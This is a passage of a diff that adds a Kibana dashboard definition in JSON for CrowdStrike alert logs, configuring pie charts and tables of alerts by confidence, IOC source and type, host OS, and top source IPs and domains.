+                                    "yLeft": 0,
+                                    "yRight": 0
+                                },
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "0d2426f2-1b70-47e2-84b2-5f36d948dc98"
+                                        ],
+                                        "layerId": "a278b2d5-076e-409c-b9ca-2da50d6d0a09",
+                                        "layerType": "data",
+                                        "position": "top",
+                                        "seriesType": "bar_horizontal",
+                                        "showGridlines": false,
+                                        "xAccessor": "5e0dee9c-395c-42a3-827b-9b796ecdd625"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right",
+                                    "shouldTruncate": false,
+                                    "showSingleSeries": false
+                                },
+                                "preferredSeriesType": "bar_horizontal",
+                                "tickLabelsVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "valueLabels": "hide",
+                                "valuesInLegend": false
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "9af8495e-c5fb-4fee-ae54-1fffa46a4401",
+                    "w": 48,
+                    "x": 0,
+                    "y": 61
+                },
+                "panelIndex": "9af8495e-c5fb-4fee-ae54-1fffa46a4401",
+                "title": "Alert over Confidence [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-d64a8cc0-006e-4e06-9e75-e32cf447cf41",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "currentIndexPatternId": "logs-*",
+                                    "layers": {
+                                        "d64a8cc0-006e-4e06-9e75-e32cf447cf41": {
+                                            "columnOrder": [
+                                                "2cfe208a-17dc-40b1-91b1-820d4f4baa63",
+                                                "8c9420d4-4191-4b95-855b-edd55995e92a"
+                                            ],
+                                            "columns": {
+                                                "2cfe208a-17dc-40b1-91b1-820d4f4baa63": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "IOC Source",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "8c9420d4-4191-4b95-855b-edd55995e92a",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "crowdstrike.alert.ioc_source"
+                                                },
+                                                "8c9420d4-4191-4b95-855b-edd55995e92a": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Records",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "indexPatternId": "logs-*",
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "colorMapping": {
+                                            "assignments": [],
+                                            "colorMode": {
+                                                "type": "categorical"
+                                            },
+                                            "paletteId": "eui_amsterdam_color_blind",
+                                            "specialAssignments": [
+                                                {
+                                                    "color": {
+                                                        "type": "loop"
+                                                    },
+                                                    "rule": {
+                                                        "type": "other"
+                                                    },
+                                                    "touched": false
+                                                }
+                                            ]
+                                        },
+                                        "layerId": "d64a8cc0-006e-4e06-9e75-e32cf447cf41",
+                                        "layerType": "data",
+                                        "legendDisplay": "show",
+                                        "metrics": [
+                                            "8c9420d4-4191-4b95-855b-edd55995e92a"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "2cfe208a-17dc-40b1-91b1-820d4f4baa63"
+                                        ],
+                                        "truncateLegend": false
+                                    }
+                                ],
+                                "shape": "pie"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "e69a2e95-217d-43d5-acae-811245c3e308",
+                    "w": 24,
+                    "x": 0,
+                    "y": 78
+                },
+                "panelIndex": "e69a2e95-217d-43d5-acae-811245c3e308",
+                "title": "Alert by IOC Source [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-3d13796e-f0f8-45e1-b836-ad209d6cb1ba",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "3d13796e-f0f8-45e1-b836-ad209d6cb1ba": {
+                                            "columnOrder": [
+                                                "427c4b9a-30ad-4f4a-a195-3b63686d3e56",
+                                                "98fd36cc-8ad0-42f1-a08a-8709150d1099"
+                                            ],
+                                            "columns": {
+                                                "427c4b9a-30ad-4f4a-a195-3b63686d3e56": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "IOC Type",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "98fd36cc-8ad0-42f1-a08a-8709150d1099",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "crowdstrike.alert.ioc_type"
+                                                },
+                                                "98fd36cc-8ad0-42f1-a08a-8709150d1099": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Records",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "colorMapping": {
+                                            "assignments": [],
+                                            "colorMode": {
+                                                "type": "categorical"
+                                            },
+                                            "paletteId": "eui_amsterdam_color_blind",
+                                            "specialAssignments": [
+                                                {
+                                                    "color": {
+                                                        "type": "loop"
+                                                    },
+                                                    "rule": {
+                                                        "type": "other"
+                                                    },
+                                                    "touched": false
+                                                }
+                                            ]
+                                        },
+                                        "layerId": "3d13796e-f0f8-45e1-b836-ad209d6cb1ba",
+                                        "layerType": "data",
+                                        "legendDisplay": "show",
+                                        "metrics": [
+                                            "98fd36cc-8ad0-42f1-a08a-8709150d1099"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "427c4b9a-30ad-4f4a-a195-3b63686d3e56"
+                                        ],
+                                        "truncateLegend": false
+                                    }
+                                ],
+                                "shape": "pie"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "53575ba2-1378-4f8a-990d-2c5c603ea0a2",
+                    "w": 24,
+                    "x": 24,
+                    "y": 78
+                },
+                "panelIndex": "53575ba2-1378-4f8a-990d-2c5c603ea0a2",
+                "title": "Alert by IOC Type [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-3e217a16-1cad-407e-a29d-33fb0efd613e",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "currentIndexPatternId": "logs-*",
+                                    "layers": {
+                                        "3e217a16-1cad-407e-a29d-33fb0efd613e": {
+                                            "columnOrder": [
+                                                "60741f14-245b-4258-938a-d2cb4e740b6f",
+                                                "b44ed009-e2ae-4836-94e7-aa543ed5e953"
+                                            ],
+                                            "columns": {
+                                                "60741f14-245b-4258-938a-d2cb4e740b6f": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Host OS Full Name",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "b44ed009-e2ae-4836-94e7-aa543ed5e953",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "host.os.full"
+                                                },
+                                                "b44ed009-e2ae-4836-94e7-aa543ed5e953": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "indexPatternId": "logs-*",
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "e96f97bb-f9af-48e9-a677-945571469682",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "colorMapping": {
+                                            "assignments": [],
+                                            "colorMode": {
+                                                "type": "categorical"
+                                            },
+                                            "paletteId": "eui_amsterdam_color_blind",
+                                            "specialAssignments": [
+                                                {
+                                                    "color": {
+                                                        "type": "loop"
+                                                    },
+                                                    "rule": {
+                                                        "type": "other"
+                                                    },
+                                                    "touched": false
+                                                }
+                                            ]
+                                        },
+                                        "layerId": "3e217a16-1cad-407e-a29d-33fb0efd613e",
+                                        "layerType": "data",
+                                        "legendDisplay": "show",
+                                        "metrics": [
+                                            "b44ed009-e2ae-4836-94e7-aa543ed5e953"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "60741f14-245b-4258-938a-d2cb4e740b6f"
+                                        ],
+                                        "truncateLegend": false
+                                    }
+                                ],
+                                "shape": "pie"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 16,
+                    "i": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b",
+                    "w": 24,
+                    "x": 0,
+                    "y": 93
+                },
+                "panelIndex": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b",
+                "title": "Alert by OS Full Name [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-de65c5ed-b26c-419b-9a15-9928336a1964",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "currentIndexPatternId": "logs-*",
+                                    "layers": {
+                                        "de65c5ed-b26c-419b-9a15-9928336a1964": {
+                                            "columnOrder": [
+                                                "598e03c3-d3d6-41c4-b512-6c181d224dd8",
+                                                "6c0d6d22-93ea-4bf6-80f4-822eaabf0893"
+                                            ],
+                                            "columns": {
+                                                "598e03c3-d3d6-41c4-b512-6c181d224dd8": {
+                                                    "customLabel": true,
+                                                    "dataType": "ip",
+                                                    "isBucketed": true,
+                                                    "label": "Source IP",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "6c0d6d22-93ea-4bf6-80f4-822eaabf0893",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "source.ip"
+                                                },
+                                                "6c0d6d22-93ea-4bf6-80f4-822eaabf0893": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "indexPatternId": "logs-*",
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "a6d5ef27-01ca-4160-b575-9912c400725a",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "columns": [
+                                    {
+                                        "columnId": "598e03c3-d3d6-41c4-b512-6c181d224dd8",
+                                        "isMetric": false,
+                                        "isTransposed": false
+                                    },
+                                    {
+                                        "columnId": "6c0d6d22-93ea-4bf6-80f4-822eaabf0893",
+                                        "isMetric": true,
+                                        "isTransposed": false
+                                    }
+                                ],
+                                "layerId": "de65c5ed-b26c-419b-9a15-9928336a1964",
+                                "layerType": "data"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsDatatable"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 16,
+                    "i": "d8841493-66ad-484a-8c0d-364af07dfc1d",
+                    "w": 24,
+                    "x": 24,
+                    "y": 93
+                },
+                "panelIndex": "d8841493-66ad-484a-8c0d-364af07dfc1d",
+                "title": "Top 10 Source IP [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-96ed08f7-28f8-4a35-bcb6-699287f45a23",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "currentIndexPatternId": "logs-*",
+                                    "layers": {
+                                        "96ed08f7-28f8-4a35-bcb6-699287f45a23": {
+                                            "columnOrder": [
+                                                "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef",
+                                                "48e386b0-f54e-43b1-a156-338fff479377"
+                                            ],
+                                            "columns": {
+                                                "48e386b0-f54e-43b1-a156-338fff479377": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Source Domain",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "48e386b0-f54e-43b1-a156-338fff479377",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "source.user.domain"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "indexPatternId": "logs-*",
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "f2b34b6b-b37a-4f69-8307-e1c4eb62e1b8",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "columns": [
+                                    {
+                                        "columnId": "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef",
+                                        "isMetric": false,
+                                        "isTransposed": false
+                                    },
+                                    {
+                                        "columnId": "48e386b0-f54e-43b1-a156-338fff479377",
+                                        "isMetric": true,
+                                        "isTransposed": false
+                                    }
+                                ],
+                                "layerId": "96ed08f7-28f8-4a35-bcb6-699287f45a23",
+                                "layerType": "data"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsDatatable"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "563afa88-1775-4eb7-b9a4-623df26e9c9b",
+                    "w": 24,
+                    "x": 0,
+                    "y": 109
+                },
+                "panelIndex": "563afa88-1775-4eb7-b9a4-623df26e9c9b",
+                "title": "Top 10 Source Domain [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "currentIndexPatternId": "logs-*",
+                                    "layers": {
+                                        "7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9": {
+                                            "columnOrder": [
+                                                "4bdc5759-4321-4d1c-97af-811435ad7854",
+                                                "0a4ab4bb-c951-448b-9c4c-a949d59074cd"
+                                            ],
+                                            "columns": {
+                                                "0a4ab4bb-c951-448b-9c4c-a949d59074cd": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "4bdc5759-4321-4d1c-97af-811435ad7854": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Destination Domain",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "0a4ab4bb-c951-448b-9c4c-a949d59074cd",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "destination.user.domain"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "indexPatternId": "logs-*",
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "0b9b2061-279c-431c-b5d4-c16b4f99feaa",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "columns": [
+                                    {
+                                        "columnId": "4bdc5759-4321-4d1c-97af-811435ad7854"
+                                    },
+                                    {
+                                        "columnId": "0a4ab4bb-c951-448b-9c4c-a949d59074cd",
+                                        "isMetric": true,
+                                        "isTransposed": false
+                                    }
+                                ],
+                                "layerId": "7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9",
+                                "layerType": "data"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsDatatable"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "fdd5aa72-947d-4a68-b912-5ab8bb724da3",
+                    "w": 24,
+                    "x": 24,
+                    "y": 109
+                },
+                "panelIndex": "fdd5aa72-947d-4a68-b912-5ab8bb724da3",
+                "title": "Top 10 Destination Domain [Logs CrowdStrike]",
+                "type": "lens"
+            }
+        ],
+        "timeRestore": false,
+        "title": "[Logs CrowdStrike] Alert",
+        "version": 2
+    },
+    "coreMigrationVersion": "8.8.0",
+    "created_at": "2025-03-01T12:27:19.674Z",
+    "id": "crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c",
+    "managed": false,
+    "references": [
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb:indexpattern-datasource-layer-836a096e-11de-4f16-8dc1-08de3e3a2b2f",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc:indexpattern-datasource-layer-b4403946-8fa4-464f-b1e2-17fae6304bb5",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc:5c9cfcd1-2c7f-493f-86a5-002bcf501fde",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8:indexpattern-datasource-layer-986a7419-3b29-4812-8f1e-8648d18ce08b",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8:db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "aaa3ce74-8cbd-4e77-837e-cdbd42494339:indexpattern-datasource-layer-6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "aaa3ce74-8cbd-4e77-837e-cdbd42494339:82644959-ef2b-4640-a0ca-d45036d96764",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "14405add-afa0-4e3f-9efd-1f52fad51027:indexpattern-datasource-layer-3a2c2235-1a9e-4db6-ac43-2f05c6775021",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "14405add-afa0-4e3f-9efd-1f52fad51027:9040575b-9449-4f08-98ae-116d26ebf28d",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4:indexpattern-datasource-layer-a6424e3b-fc6e-460e-8385-5a410a690d34",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4:7f2f6ede-7728-4214-a79c-27931101ec10",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "69f87d85-d0f2-4fb3-9e02-e970098547db:indexpattern-datasource-layer-e83ee069-a761-49ed-878d-c9972e55a388",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "69f87d85-d0f2-4fb3-9e02-e970098547db:9a07642d-eec9-4213-b1ae-bb5adbbcf25c",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "940c98f0-56e7-4e29-88d2-07f160f579cb:indexpattern-datasource-layer-4e7a254a-d432-4988-a5cb-3de38f841cc9",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "940c98f0-56e7-4e29-88d2-07f160f579cb:d887537f-f1fd-404b-8327-8bf3b0d1fdfe",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "9af8495e-c5fb-4fee-ae54-1fffa46a4401:indexpattern-datasource-layer-a278b2d5-076e-409c-b9ca-2da50d6d0a09",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "9af8495e-c5fb-4fee-ae54-1fffa46a4401:bbcb4d86-6890-474c-9975-f1476711cfad",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "e69a2e95-217d-43d5-acae-811245c3e308:indexpattern-datasource-layer-d64a8cc0-006e-4e06-9e75-e32cf447cf41",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "53575ba2-1378-4f8a-990d-2c5c603ea0a2:indexpattern-datasource-layer-3d13796e-f0f8-45e1-b836-ad209d6cb1ba",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b:indexpattern-datasource-layer-3e217a16-1cad-407e-a29d-33fb0efd613e",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "d8841493-66ad-484a-8c0d-364af07dfc1d:indexpattern-datasource-layer-de65c5ed-b26c-419b-9a15-9928336a1964",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "563afa88-1775-4eb7-b9a4-623df26e9c9b:indexpattern-datasource-layer-96ed08f7-28f8-4a35-bcb6-699287f45a23",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "fdd5aa72-947d-4a68-b912-5ab8bb724da3:indexpattern-datasource-layer-7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9",
+            "type": "index-pattern"
+        }
+    ],
+    "type": "dashboard",
+    "typeMigrationVersion": "10.2.0",
+    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
+}
\ No newline at end of file
